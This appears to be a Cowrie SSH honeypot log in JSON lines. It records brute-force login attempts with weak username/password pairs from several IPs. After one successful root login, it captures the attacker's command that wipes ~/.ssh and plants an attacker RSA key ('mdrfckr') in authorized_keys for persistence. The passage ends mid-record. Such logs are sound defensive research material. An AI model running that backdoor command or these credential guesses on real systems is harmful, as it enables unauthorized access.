{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:59.710676Z","src_ip":"2.57.122.96","session":"63ede34c3e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"shredstream","message":"login attempt [solana/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:00.006967Z","src_ip":"2.57.122.96","session":"63ede34c3e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:01.109395Z","src_ip":"2.57.122.96","session":"63ede34c3e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":39840,"dst_ip":"159.203.135.109","dst_port":22,"session":"82606913d6b2","protocol":"ssh","message":"New connection: 93.71.118.99:39840 (159.203.135.109:22) [session: 82606913d6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:09.861541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:09.866183Z","src_ip":"93.71.118.99","session":"82606913d6b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:10.223860Z","src_ip":"93.71.118.99","session":"82606913d6b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pedro","password":"pedro","message":"login attempt [pedro/pedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:11.726050Z","src_ip":"93.71.118.99","session":"82606913d6b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:12.972444Z","src_ip":"93.71.118.99","session":"82606913d6b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32768,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7aa3c54cc5","protocol":"ssh","message":"New connection: 2.57.122.208:32768 (159.203.135.109:22) [session: 8e7aa3c54cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.468379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.571629Z","src_ip":"2.57.122.208","session":"8e7aa3c54cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":35636,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fde6198e5e","protocol":"ssh","message":"New connection: 138.99.80.102:35636 (159.203.135.109:22) [session: 33fde6198e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.703604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.707957Z","src_ip":"138.99.80.102","session":"33fde6198e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.713458Z","src_ip":"2.57.122.208","session":"8e7aa3c54cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:16.815969Z","src_ip":"138.99.80.102","session":"33fde6198e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:17.279327Z","src_ip":"138.99.80.102","session":"33fde6198e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:17.611667Z","src_ip":"2.57.122.208","session":"8e7aa3c54cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:18.389312Z","src_ip":"138.99.80.102","session":"33fde6198e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:18.743509Z","src_ip":"2.57.122.208","session":"8e7aa3c54cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea668beb424c","protocol":"ssh","message":"New connection: 103.134.154.36:39976 (10.17.0.5:22) [session: ea668beb424c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:27.462753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:27.512177Z","src_ip":"103.134.154.36","session":"ea668beb424c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:27.753122Z","src_ip":"103.134.154.36","session":"ea668beb424c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"production","password":"12345","message":"login attempt [production/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:28.716336Z","src_ip":"103.134.154.36","session":"ea668beb424c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:29.997307Z","src_ip":"103.134.154.36","session":"ea668beb424c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":36098,"dst_ip":"159.203.135.109","dst_port":22,"session":"a611652f8975","protocol":"ssh","message":"New connection: 159.223.57.48:36098 (159.203.135.109:22) [session: a611652f8975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:54.847973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:54.852428Z","src_ip":"159.223.57.48","session":"a611652f8975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:55.095970Z","src_ip":"159.223.57.48","session":"a611652f8975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:56.104029Z","src_ip":"159.223.57.48","session":"a611652f8975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:23:57.350966Z","src_ip":"159.223.57.48","session":"a611652f8975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":52382,"dst_ip":"159.203.135.109","dst_port":22,"session":"de791211d3a4","protocol":"ssh","message":"New connection: 49.49.239.64:52382 (159.203.135.109:22) [session: de791211d3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:08.774551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:08.779713Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:09.037357Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:10.097605Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:10.642981Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:10.645335Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:10.647835Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:10.906320Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:11.503145Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:11.506583Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:11.768101Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:11.772021Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":40868,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4fc92bc0772","protocol":"ssh","message":"New connection: 49.49.239.64:40868 (159.203.135.109:22) [session: c4fc92bc0772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:12.022749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:12.027643Z","src_ip":"49.49.239.64","session":"c4fc92bc0772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh